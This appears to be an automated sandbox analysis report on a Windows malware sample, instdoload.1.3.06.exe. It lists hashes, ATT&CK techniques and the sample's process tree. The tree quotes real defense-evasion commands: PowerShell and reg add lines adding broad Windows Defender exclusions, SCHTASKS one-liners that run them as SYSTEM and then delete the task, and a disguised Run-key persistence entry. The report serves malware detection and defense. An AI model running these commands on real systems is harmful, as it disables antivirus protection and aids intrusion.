bdacc83ac6fb3a7f214b6e646be19f71fb6d4e0ccdf3864044b5b7151b6eb894

Analysis

max time kernel
151s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/10/2026, 04:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
instdoload.1.3.06.exe
Size 38.8MB
Sample261007-e66qksby2y
SHA256 bdacc83ac6fb3a7f214b6e646be19f71fb6d4e0ccdf3864044b5b7151b6eb894
MD5 ac5b74b674e1688084f79c7d6edf3d8c
SHA1 271ed7c01fd3729640d2316358c13c12a8224d69
SHA512 3b8579d798501e3c3e5f83811d5bafc2adc05eed2072d147be910d74fc7787573cc54c85f4a5ed82255b7ac9a79383cd18154922fd87caf605c8070e6c035fee
SSDEEP 49152:4F335nW2J++1hhWugAx8z/TdqRD4a85Ejr9CbHd5nYeWgRj:y5L3XLgAm9EHUvj
TLSH
T14C972C02B6468CC6F54852F45897FAA423FDFCB48AD5C31732E4671EAF9E28C0E83595
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\LCkyWs = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2420	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1184	rvgrhv.exe
2316	rvgrhv.exe

Loads dropped DLL 2 IoCs

pid	Process
1184	rvgrhv.exe
2316	rvgrhv.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\LCkyWs\\rvgrhv.exe\""	rvgrhv.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4816	cmd.exe
3888	cmd.exe
3508	cmd.exe
468	cmd.exe
5632	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	rvgrhv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5512	cmd.exe
4428	cmd.exe
1756	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rvgrhv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rvgrhv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	instdoload.1.3.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	instdoload.1.3.06.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2804	schtasks.exe
1188	schtasks.exe
1716	schtasks.exe
5444	schtasks.exe
2356	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
2624	instdoload.1.3.06.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe
1184	rvgrhv.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeIncreaseQuotaPrivilege	2420	powershell.exe
Token: SeSecurityPrivilege	2420	powershell.exe
Token: SeTakeOwnershipPrivilege	2420	powershell.exe
Token: SeLoadDriverPrivilege	2420	powershell.exe
Token: SeSystemProfilePrivilege	2420	powershell.exe
Token: SeSystemtimePrivilege	2420	powershell.exe
Token: SeProfSingleProcessPrivilege	2420	powershell.exe
Token: SeIncBasePriorityPrivilege	2420	powershell.exe
Token: SeCreatePagefilePrivilege	2420	powershell.exe
Token: SeBackupPrivilege	2420	powershell.exe
Token: SeRestorePrivilege	2420	powershell.exe
Token: SeShutdownPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeSystemEnvironmentPrivilege	2420	powershell.exe
Token: SeRemoteShutdownPrivilege	2420	powershell.exe
Token: SeUndockPrivilege	2420	powershell.exe
Token: SeManageVolumePrivilege	2420	powershell.exe
Token: 33	2420	powershell.exe
Token: 34	2420	powershell.exe
Token: 35	2420	powershell.exe
Token: 36	2420	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1184 wrote to memory of 2420	1184	rvgrhv.exe	93
PID 1184 wrote to memory of 4816	1184	rvgrhv.exe	96
PID 4816 wrote to memory of 1188	4816	cmd.exe	98
PID 1184 wrote to memory of 3888	1184	rvgrhv.exe	101
PID 4816 wrote to memory of 2428	4816	cmd.exe	103
PID 3888 wrote to memory of 1716	3888	cmd.exe	105
PID 4816 wrote to memory of 6040	4816	cmd.exe	107
PID 1184 wrote to memory of 3508	1184	rvgrhv.exe	108
PID 3888 wrote to memory of 5048	3888	cmd.exe	110
PID 3888 wrote to memory of 2360	3888	cmd.exe	111
PID 3508 wrote to memory of 5444	3508	cmd.exe	112
PID 1184 wrote to memory of 468	1184	rvgrhv.exe	113
PID 468 wrote to memory of 2356	468	cmd.exe	116
PID 3508 wrote to memory of 2136	3508	cmd.exe	115
PID 468 wrote to memory of 4360	468	cmd.exe	118
PID 3508 wrote to memory of 5424	3508	cmd.exe	119
PID 1184 wrote to memory of 5632	1184	rvgrhv.exe	121
PID 468 wrote to memory of 2776	468	cmd.exe	123
PID 5632 wrote to memory of 2804	5632	cmd.exe	124
PID 5632 wrote to memory of 1432	5632	cmd.exe	126
PID 5632 wrote to memory of 4484	5632	cmd.exe	128
PID 1756 wrote to memory of 360	1756	cmd.exe	130
PID 4428 wrote to memory of 2784	4428	cmd.exe	131
PID 5512 wrote to memory of 4240	5512	cmd.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.06.exe
"C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.06.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2408

C:\Users\Public\LCkyWs\rvgrhv.exe
"C:\Users\Public\LCkyWs\rvgrhv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\LCkyWs\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4816
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\LCkyWs\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1188
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1716
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2136
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2356
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2804
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1432
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4484

C:\Users\Public\LCkyWs\rvgrhv.exe
"C:\Users\Public\LCkyWs\rvgrhv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2316

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1088

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\LCkyWs" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5512
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\LCkyWs" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4240

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4428
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2784

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1756
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 b3c85975d52a5589d22ba3367aa15933b36af10d77de0f59385c281e40644ec3
MD5 c44d8e6d10e44d37412da6c95478cdea
SHA1 c6d6a7c5c7617f9a37c55afcaba0cf3457db400d
SHA512 f5d4853da7bc3dd697a907ba14091b9c559446e53fd15755d586bdea1771edd28ed3a87d65306f080dd7794fb400ee245efbb98cbb693185710f6667facdfbcd
TLSH
T16531E9AE4DB73580BF801E8237C9C9373EE357C048BD141E536A89EA05107A67F1B509
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 9618d308501223ca6aacab2b3dd6c5e4df45f786fd48003e51b7c1f9d33d74ce
MD5 4d83c9219a0f7a8abf306d42bf1e4341
SHA1 ae60beec7371c771c6616001fa4617b292d92bad
SHA512 3d285c45980e872b0cfb64196e8919e316897010cadfe77bb3d3f648858dc53111ce7d2ddab9209c360389175357c64a5f10042e38b453d1ab2b4f0c0123ada3
TLSH
T11531D4969E7A0002EF185F7806C9C13FACF0A2354DA41C446B3EC17B4645BB3AF82040
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 e10c6e8290549fea89884b742a970edb1b79f8236e246c60ffde90c428d7d54d
MD5 18657404ae2652fc8712edd56c0550c6
SHA1 d5be026ff6e17f9909078af8f11fd52a135b2183
SHA512 df89679f465359ae0f532e7a3e7d5c3b260367666e2dc8dd094537b95cee6b720be02f9f0c45225708c4150ae4e28e37d2fe4e8a8c09d4e3e380d49c9a9b5344
TLSH
T1B0F05C2845BD413DF233A93E4BCE75961D7EFA16340245A807A18F0DB606E162D536B5
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 aa91685aa0b5cfadc595d3adf343e504ac3740f72918ae962f2753932ac0516c
MD5 c867b40e2e8688b877077c46f86b315a
SHA1 be9c90673ad4223652a3bcf93bfa280bc71aba74
SHA512 bcff49aacef333dd722af41b352a66e0dece84b734b945e64b33bdb4806c91973d268f5e7731757498f5f4409747104875c20a6f2b559d43cfa6d4c6e2783ab0
TLSH
T1B5F05C3943D9412FF13BC2BC46CA7EB16925EA22220A52A90AF50304AA92D015C82238
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xn5gv2av.hiq.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xn5gv2av.hiq.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\LCkyWs\UxEnhance64.dll
Size 3.1MB
SHA256 2d9c4fb8d229868d8193c7d09c57599af1f18d1ff86d67a1e67869dc6862fed4
MD5 137e2deefc1d20f0a160f484ab6f9caf
SHA1 f418efa997d5dd08819f38eb8ca1d2abaa9f3b21
SHA512 a888b0cc019eff338527a749d86b89496477149575af455f2915849dd86e6176b7f21fca29071e4a331a6ece03dc987ad4846695213b2a4849ea01cfc7b60106
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+I:P9m29xx3Tiqt06ox6+z2rNNrKoI
TLSH
T131E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\LCkyWs\adoresd.dat
Size 4.7MB
SHA256 de585c3222e0ecf02a0990ec46a05bdbcbd1d5d639456216f7e979339595aeee
MD5 49951d79c500eb7dfe897f42bee36552
SHA1 78f008101b4ac4c90d91ffc4fd0cf1c910fdf8ed
SHA512 9048251487ca1dd826b9ab8482b4408fdd9de9eedef1a9c4fbca722b4bb0734bfb1200b19d6ca1c2fb9b506a6a6d4799c3d240374ffe93465d251a5abb6313a8
SSDEEP 98304:3KC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:3KClqhi0Cv54K2IVS0VQg
TLSH
T1FA3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\LCkyWs\msadox.tb
Size 8KB
SHA256 9837f2ca73f3ef987161a1f2cda5b02f55e828088778402cac602aa425f325f7
MD5 8d9a158329de0de75f06c6a3086e77ae
SHA1 2e3194139d95906c1b6c731fa9827bc1cb8157b3
SHA512 0445f80ebe54da5cb025249a970cdc1eb0bea9bb43eca6efe50d79361b66cbc2cc3cd34ff53234b0e900719f628aa1bfa32ecd32e434fde2781796c7dd6ed7d1
SSDEEP 192:dqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:dsZqZOXQ3uqvR2Kfzp
TLSH
T13B029E06D7A20CC3D6016C71CD9EB2F5AB13A1DADA3926719C67D4C1670B2DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rvgrhv.exe

Path C:\Users\Public\LCkyWs\rvgrhv.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1184-559-0x0000019B5C300000-0x0000019B5C38A000-memory.dmp

Download

memory/1184-569-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-537-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-539-0x00007FFB60AA0000-0x00007FFB60AA2000-memory.dmp

Download

memory/1184-540-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-545-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-544-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-546-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-547-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-551-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-560-0x0000019B5C300000-0x0000019B5C38A000-memory.dmp

Download

memory/1184-558-0x0000019B5C300000-0x0000019B5C38A000-memory.dmp

Download

memory/1184-557-0x0000019B5C220000-0x0000019B5C26E000-memory.dmp

Download

memory/1184-531-0x00007FFB60A90000-0x00007FFB60A92000-memory.dmp

Download

memory/1184-561-0x0000019B5C300000-0x0000019B5C38A000-memory.dmp

Download

memory/1184-566-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-568-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

Download

memory/1184-532-0x00007FFB3DE60000-0x00007FFB3E37E000-memory.dmp

Download

memory/2316-593-0x00007FFB60A90000-0x00007FFB60A92000-memory.dmp

Download

memory/2316-592-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

Download

memory/2316-591-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

Download

memory/2316-590-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

Download

memory/2316-579-0x00007FFB3DE60000-0x00007FFB3E37E000-memory.dmp

Download

memory/2316-582-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

Download

memory/2316-584-0x00007FFB60AA0000-0x00007FFB60AA2000-memory.dmp

Download

memory/2316-585-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

Download

memory/2316-589-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

Download

memory/2420-603-0x000001CCA04B0000-0x000001CCA04D2000-memory.dmp

Download

memory/2420-606-0x000001CCA0520000-0x000001CCA053E000-memory.dmp

Download

memory/2420-607-0x000001CCA07F0000-0x000001CCA08A2000-memory.dmp

Download

memory/2420-608-0x000001CCA0510000-0x000001CCA051A000-memory.dmp

Download

memory/2624-0-0x0000000000870000-0x000000000087E000-memory.dmp

Download

memory/2624-526-0x00007FFB502F0000-0x00007FFB50302000-memory.dmp

Download

memory/2624-503-0x00007FFB502F0000-0x00007FFB50302000-memory.dmp

Download

memory/2624-525-0x0000000000870000-0x000000000087E000-memory.dmp

Download

memory/2624-1-0x00000000023C0000-0x00000000023CC000-memory.dmp

Download